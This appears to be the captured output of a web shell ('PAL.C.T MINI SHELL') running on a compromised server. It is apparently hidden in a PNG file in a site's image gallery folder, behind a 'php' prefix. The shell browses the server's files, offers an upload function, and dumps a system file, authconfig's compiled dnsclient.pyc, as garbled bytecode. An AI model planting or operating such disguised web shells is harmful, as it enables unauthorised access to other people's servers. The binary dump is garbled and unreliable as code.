php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/authconfig/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/authconfig/dnsclient.pyc

+>Tc@sddkZddkZddkZddkZdZdZdZdZdZdZ	dZ
dZdZd	Z
d
ZdZdZd
ZdZdZdZeZdd,dYZdZdd-dYZdd.dYZdZdZdZdZdZdZ dZ!dZ"dZ#d Z$d!Z%d"Z&d#Z'd$Z(d%Z)d&Z*d'Z+e,d(joRe-Zd)GHe+e.ei/djoei/dpd*eeZ0ei1d+ndS(/iNiiiiiiii
iii
iii!tDNSQueryHeadercBs2eZdZdZdZdZdZRS(s!HBBHHHHcCsyd|_d|_d|_d|_d|_d|_d|_d|_d|_d|_	d|_
d|_d|_dS(Ni(
tdns_idtdns_rdtdns_tctdns_aat
dns_opcodetdns_qrt	dns_rcodetdns_ztdns_ratdns_qdcounttdns_ancounttdns_nscounttdns_arcount(tself((s"/usr/share/authconfig/dnsclient.pyt__init__0s												c	Cstiti|i|id@|id@d>B|id@d>B|id@d>B|i	d@d>B|i
d@|id@d>B|id@d>B|i
|i|i|iS(Niiiiii(tstructtpackRtFORMATRRRRRRRRR	R
RRR
(R((s"/usr/share/authconfig/dnsclient.pyR?s7c	Cstiti|d|i!\|_}}|_|_|_|_	|d@|_
|d?d@|_|d?d@|_|d?d@|_
|d?d@|_|d@|_|d?d@|_|d?d@|_dS(Niiiiiii(RtunpackRRtsizeRR
RRR
RRRRRRRR	(Rtdatatbyte1tbyte2((s"/usr/share/authconfig/dnsclient.pyROsF

cCstitiS(N(RtcalcsizeRR(R((s"/usr/share/authconfig/dnsclient.pyR[s(t__name__t
__module__RRRRR(((s"/usr/share/authconfig/dnsclient.pyR.s
			cCst}|i||S(N(RR(Rtheader((s"/usr/share/authconfig/dnsclient.pytunpackQueryHeader^s	
t	DNSResultcBsAeZdZdZdZdZdZdZdZRS(s!HHIHs!HHcCs:d|_d|_d|_d|_d|_d|_dS(Nti(tdns_nametdns_typet	dns_classtdns_ttltdns_rlengthtNonetrdata(R((s"/usr/share/authconfig/dnsclient.pyRfs					cCs>titi|d|i!\|_|_|_|_dS(Ni(	RRRRRR R!R"R#(RR((s"/usr/share/authconfig/dnsclient.pyRnscCs2titi|d|i!\|_|_dS(Ni(RRRtQFORMATtqsizeR R!(RR((s"/usr/share/authconfig/dnsclient.pytqunpackrscCstitiS(N(RRRR(R((s"/usr/share/authconfig/dnsclient.pyRuscCstitiS(N(RRRR&(R((s"/usr/share/authconfig/dnsclient.pyR'xs(	RRRR&RRR(RR'(((s"/usr/share/authconfig/dnsclient.pyRcs				tDNSRDatacBseZdZRS(cCsdS(N((R((s"/usr/share/authconfig/dnsclient.pyR|s(RRR(((s"/usr/share/authconfig/dnsclient.pyR){scCsDd}|id}x(|D] }|tt||7}qW|S(NRt.(tsplittchrtlen(tnametouttpart((s"/usr/share/authconfig/dnsclient.pytdnsNameToLabelscCst}d|_d|_d|_d|_d|_t|}|pdS|i|}|t|d?7}|t|d@7}|t|d?7}|t|d@7}|S(NiiRii(	RRRRRR
R1RR,(tquerytqclasstqtypeRtqlabelR/((s"/usr/share/authconfig/dnsclient.pytdnsFormatQuerys						c	Cs)|pd	Sd}|}d}d}yxt|dot|dd@oL|t|dd@d>t|d}|o|d7}nd}q*n||dt|dd!d7}|o|t|dd7}n|t|dd}q*WWntj
od
SX||||fS(NRiiii?iiR*(RN(RN(R$tordt
IndexError(tlabeltbasetupdatetresttoutputtskip((s"/usr/share/authconfig/dnsclient.pyt
dnsParseLabels,*#!cCst}t|djod|_dSt|dd>t|dd>Bt|dd>Bt|dd>B|_toAd	t|dt|dt|dt|dfGHn|S(
NiiiiiiiisA = %d.%d.%d.%d.(R)R-taddressR$R7tDEBUG_DNSCLIENT(RR:R%((s"/usr/share/authconfig/dnsclient.pyt	dnsParseAs		MAcCsat|djodSt|d}t||djodS||d|d|d!fS(NiRi(RN(RN(R-R$R7(Rttlen((s"/usr/share/authconfig/dnsclient.pytdnsParseTextscCs<t}t||\}|_tod|iGHn|S(NsNS DNAME = "%s".(R)R?tnsdnameRA(RR:R%R<((s"/usr/share/authconfig/dnsclient.pyt
dnsParseNSs
	cCs<t}t||\}|_tod|iGHn|S(Ns
CNAME = "%s".(R)R?tcnameRA(RR:R%R<((s"/usr/share/authconfig/dnsclient.pyt
dnsParseCNAMEs
	cCs*t}d}t||\}|_|idjodSt||\}|_|idjodSt|ti|jodSti||ti| \|_	|_
|_|_|_
toXd|iGHd|iGHd|i	GHd|i
GHd|iGHd|iGHd|i
GHn|S(	Ns!IIIIIsSOA(mname) = "%s".sSOA(rname) = "%s".sSOA(serial) = %d.sSOA(refresh) = %d.sSOA(retry) = %d.sSOA(expire) = %d.sSOA(minimum) = %d.(R)R?tmnameR$trnameR-RRRtserialtrefreshtretrytexpiretminimumRA(RR:R%tformatR<((s"/usr/share/authconfig/dnsclient.pytdnsParseSOA	s(	=cCsdS(N(R$(RR:((s"/usr/share/authconfig/dnsclient.pytdnsParseNULL#scCsdS(N(R$(RR:((s"/usr/share/authconfig/dnsclient.pytdnsParseWKS'scCset}t|\}|_|ot|\}|_ntod|iGHd|iGHn|S(NsHINFO(cpu) = "%s".sHINFO(os) = "%s".(R)RDtcputosRA(RR:R%R<((s"/usr/share/authconfig/dnsclient.pyt
dnsParseHINFO*s	cCst}t|djodSt|dd>t|dB|_t|d|\}|_tod|iGHd|iGHn|S(NiiiisMX(exchanger) = "%s".sMX(preference) = %d.(R)R-R$R7t
preferenceR?texchangeRA(RR:R%R<((s"/usr/share/authconfig/dnsclient.pyt
dnsParseMX4s	%cCs9t}t|\}|_tod|iGHn|S(NsTXT = "%s".(R)RDRRA(RR:R%R<((s"/usr/share/authconfig/dnsclient.pytdnsParseTXT?s
	cCs<t}t||\}|_tod|iGHndS(NsPTR = "%s".(R)R?tptrdnameRA(RR:R%R<((s"/usr/share/authconfig/dnsclient.pytdnsParsePTRFs	cCst}d}ti|}t||jodSti||| \|_|_|_t	|||\}|_
to4d|i
GHd|iGHd|iGHd|iGHn|S(Ns!HHHsSRV(server) = "%s".sSRV(weight) = %d.sSRV(priority) = %d.sSRV(port) = %d.(R)RRR-R$RtprioritytweighttportR?tserverRA(RR:R%RPtflenR<((s"/usr/share/authconfig/dnsclient.pytdnsParseSRVLs	(cCsyt|}Wntij
ogSX|idjogS|idjogS||i}g}xt|iD]}|pgSt}t	||\}}|djogSt||ijogS|i
|||i}tod||i|ifGHqzqzWxt|i|i|iD]}t	||\}}|djogSt}||_t||ijogS|i|||i}to(d||i|i|i|ifGHnt||ijoto	dGHngShtt6tt6tt6tt6t t!6t"t#6t$t%6t&t'6t(t)6t*t+6t,t-6}|i|jotod|iGHqn!||i||i ||_.||i}||g7}q<W|p
|g}n|S(Niis(Queried for '%s', class = %d, type = %d.s4Answer %d for '%s', class = %d, type = %d, ttl = %d.sAnswer too short.s#Don't know how to parse RR type %d!(/RRterrorRRRtxrangeR
RR?R$R-R'R(RAR!R RRR
RRR"R#RBtDNS_T_ARFtDNS_T_NSRHtDNS_T_CNAMERQt	DNS_T_SOARRt
DNS_T_NULLRSt	DNS_T_WKSR\t	DNS_T_PTRRVtDNS_T_HINFORYtDNS_T_MXRZt	DNS_T_TXTRbt	DNS_T_SRVR%(tresultsRR<trrlisttitrrR9tfmap((s"/usr/share/authconfig/dnsclient.pytdnsParseResults\sv	


		
	
 

cCsCt|||}|pgSti|}|pgSt|S(N(R6tacutiltres_sendRu(R2R3R4tqdatatanswer((s"/usr/share/authconfig/dnsclient.pyR2st__main__sSending query.sdevserv.devel.redhat.com.i((((2RtsockettsysRvtDNS_C_INtDNS_C_CStDNS_C_CHAOStDNS_C_HSt	DNS_C_ANYReRfRgRhRiRjRkRlRmRnRot	DNS_T_ANYtFalseRARRRR)R1R6R?RBRDRFRHRQRRRSRVRYRZR\RbRuR2RtTrueR-targvRstexit(((s"/usr/share/authconfig/dnsclient.pyt<module>s`0	6											
					S		
*
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`